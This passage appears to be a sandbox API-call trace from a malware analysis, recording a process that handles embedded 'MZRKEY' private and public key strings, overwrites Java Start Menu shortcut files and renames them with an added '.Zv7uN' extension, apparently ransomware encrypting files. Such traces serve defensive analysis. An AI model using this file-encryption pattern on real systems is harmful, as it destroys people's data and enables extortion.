YRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.418] GetCurrentThreadId () returned 0xa30 [0133.418] GetCurrentThreadId () returned 0xa30 [0133.418] GetCurrentThreadId () returned 0xa30 [0133.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.419] GetCurrentThreadId () returned 0xa30 [0133.419] GetCurrentThreadId () returned 0xa30 [0133.419] GetCurrentThreadId () returned 0xa30 [0133.419] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.420] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.420] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.420] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4b6 [0133.420] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.420] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4b6, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x4b6, lpOverlapped=0x0) returned 1 [0133.433] CloseHandle (hObject=0x1e8) returned 1 [0133.434] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.437] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4b6, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x4b6, lpOverlapped=0x0) returned 1 [0133.440] CloseHandle (hObject=0x1e8) returned 1 [0133.441] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk.zv7un")) returned 1 [0133.444] GetCurrentThreadId () returned 0xa30 [0133.444] GetCurrentThreadId () returned 0xa30 [0133.444] GetCurrentThreadId () returned 0xa30 [0133.444] GetCurrentThreadId () returned 0xa30 [0133.445] GetCurrentThreadId () returned 0xa30 [0133.445] GetCurrentThreadId () returned 0xa30 [0133.445] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Visit Java.com.lnk", cAlternateFileName="VISITJ~1.LNK")) returned 1 [0133.445] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.445] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.445] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a)) returned 1 [0133.449] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk")) returned 0x20 [0133.449] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk", dwFileAttributes=0x80) returned 1 [0133.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCD